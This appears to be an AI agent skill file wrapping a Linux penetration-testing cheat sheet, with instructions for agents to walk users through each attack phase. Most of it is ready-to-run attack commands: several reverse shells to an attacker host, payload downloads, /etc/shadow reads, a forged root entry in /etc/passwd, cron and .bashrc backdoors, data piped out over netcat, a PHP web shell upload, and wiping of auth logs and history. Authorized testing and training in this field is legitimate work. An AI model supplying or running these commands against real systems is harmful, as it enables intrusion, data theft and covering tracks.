| name | linux-pentester-command-reference |
| description | Practical Linux command reference and penetration testing notes for reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation phases |
| triggers | ["how do I perform reconnaissance on a Linux system","what commands can I use for privilege escalation on Linux","show me Linux enumeration commands for pentesting","how to find SUID binaries for privilege escalation","what are the key Linux commands for post-exploitation","help me with Linux penetration testing commands","show network reconnaissance commands on Linux","how to enumerate services on a Linux target"] |
Linux Pentester Command Reference
Skill by ara.so — Security Skills collection.
This skill provides access to a curated collection of practical Linux commands and techniques organized by penetration testing phases. The repository contains battle-tested commands from real-world labs, CTFs, and hands-on practice, covering reconnaissance, enumeration, exploitation, privilege escalation, and post-exploitation.
What This Project Provides
Linux for a Pentester is a knowledge repository containing:
- Essential Linux survival commands for daily pentesting
- Local and network reconnaissance techniques
- Service and user data enumeration commands
- Exploitation techniques (shells, file uploads, initial access)
- Privilege escalation methods (SUID, sudo, kernel exploits)
- Post-exploitation activities (persistence, cleanup, lateral movement)
- Quick reference cheatsheets for common scenarios
Repository Structure
The knowledge base is organized into focused modules:
Linux-for-a-Pentester/
├── 00-General-Commands/ # Daily survival commands
├── 01-Recon/ # Reconnaissance phase
├── 02-Enumeration/ # Deep service enumeration
├── 03-Exploitation/ # Initial access techniques
├── 04-Privilege-Escalation/ # Root escalation methods
├── 05-Post-Exploitation/ # Persistence & lateral movement
└── Cheatsheets/ # Quick reference one-liners
Installation
Clone the repository locally for quick reference during engagements:
git clone https://github.com/HIMANSHUSHARMA20/Linux-for-a-Pentester.git
cd Linux-for-a-Pentester
For quick access during assessments, bookmark or symlink specific directories:
ln -s $(pwd) ~/pentesting-notes
export PATH="$PATH:$(pwd)/scripts"
Key Command Categories
General Commands (Phase 0)
Essential survival commands for system navigation and basic operations:
uname -a
cat /etc/os-release
hostname
whoami
id
w
last
find / -name "flag.txt" 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
find / -writable -type d 2>/dev/null
grep -r "password" /home 2>/dev/null
ip a
ss -tulpn
netstat -ano
cat /etc/hosts
cat /etc/resolv.conf
Reconnaissance (Phase 1)
Local and network discovery commands:
ps aux
ps aux | grep root
cat /etc/passwd
cat /etc/group
cat /etc/shadow
env
history
cat ~/.bash_history
ping -c 4 <target>
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "64 bytes"; done
nmap -sV -p- <target>
nmap -sU -p- <target>
arp -a
route -n
curl -I http://<target>
nc -v <target> <port>
telnet <target> <port>
Enumeration (Phase 2)
Deep-dive service and data enumeration:
cat /etc/passwd | cut -d: -f1
grep -v -E "^#" /etc/passwd | awk -F: '$3 < 1000 {print $1}'
getent passwd <username>
groups <username>
find / -user root -perm -4000 2>/dev/null
find / -type f -perm -o+w 2>/dev/null
find / -name "*.conf" 2>/dev/null
find / -name "id_rsa" 2>/dev/null
locate password | more
systemctl list-units --type=service
cat /etc/services
ls -la /etc/cron*
cat /etc/crontab
crontab -l
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null
Exploitation (Phase 3)
Initial access and shell techniques:
bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -e /bin/bash <attacker-ip> <port>
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ip> <port> >/tmp/f
python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo; fg
wget http://<attacker-ip>/shell.sh -O /tmp/shell.sh
curl http://<attacker-ip>/shell.sh -o /tmp/shell.sh
scp user@<attacker-ip>:/path/to/file /tmp/
nc -lvp <port> < file.txt
nc <ip> <port> > file.txt
Privilege Escalation (Phase 4)
Techniques to escalate to root:
find / -perm -4000 -type f 2>/dev/null
ls -la /usr/bin/find
find . -exec /bin/sh -p \; -quit
sudo -l
sudo -u#-1 /bin/bash
uname -a
cat /proc/version
searchsploit kernel $(uname -r)
gcc -o exploit exploit.c
./exploit
openssl passwd -1 -salt xyz password123
echo 'newroot:$1$xyz$...:0:0:root:/root:/bin/bash' >> /etc/passwd
cat /etc/crontab
ls -la /etc/cron.*
echo 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' >> /path/to/cron/script.sh
getcap -r / 2>/dev/null
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
PATH=/tmp:
Post-Exploitation (Phase 5)
Maintaining access and lateral movement:
echo 'bash -i >& /dev/tcp/<ip>/<port> 0>&1' >> ~/.bashrc
(crontab -l ; echo "@reboot /tmp/backdoor.sh") | crontab -
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
tar czf - /path/to/data | nc <attacker-ip> <port>
nc -lvp <port> | tar xzf -
base64 /etc/shadow | base64 -d > shadow.txt
history -c
rm ~/.bash_history
echo "" > /var/log/auth.log
unset HISTFILE
ssh user@<target-host>
for i in {1..254}; do ssh user@192.168.1.$i 2>/dev/null; done
scp file.txt user@<host>:/tmp/
Common Patterns and Workflows
Initial Access Workflow
nmap -sV -sC -p- <target-ip> -oN nmap.txt
cat nmap.txt | grep open
whatweb http://<target-ip>
nikto -h http://<target-ip>
curl -X POST -F "file=@shell.php" http://<target-ip>/upload.php
curl http://<target-ip>/uploads/shell.php?cmd=whoami
nc -lvnp 4444
bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'
Privilege Escalation Workflow
uname -a
cat /etc/issue
cat /etc/*-release
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
Troubleshooting
Command Not Found
which <command>
find / -name <command> 2>/dev/null
Shell Issues
python -c 'import pty;pty.spawn("/bin/bash")'
script /dev/null -c bash
stty rows 38 columns 116
export TERM=xterm-256color
Permission Denied
/usr/bin/command instead of command
ls -la /path/to/file
find / -writable -type d 2>/dev/null
Network Connection Failures
iptables -L
cat /etc/iptables/rules.v4
Integration with AI Agents
When assisting users with this project:
- Identify the pentesting phase the user is in (recon, enum, exploit, privesc, post-exploit)
- Reference the appropriate directory in the repository structure
- Provide relevant commands with explanations of flags and options
- Suggest variations based on the target environment (Linux distro, available tools)
- Warn about operational security implications when appropriate
- Recommend cleanup steps after exploitation activities
Best Practices
- Always get proper authorization before performing penetration testing
- Document all commands and findings during assessments
- Use these notes as a reference, but adapt to specific target environments
- Test commands in controlled lab environments before production use
- Clean up artifacts and close backdoors after authorized testing
- Keep environment variables for sensitive data:
$ATTACKER_IP, $TARGET_IP, $RPORT
Additional Resources
For deeper dives into specific techniques, consult:
This skill enables AI agents to guide users through Linux penetration testing phases with practical, field-tested commands and techniques.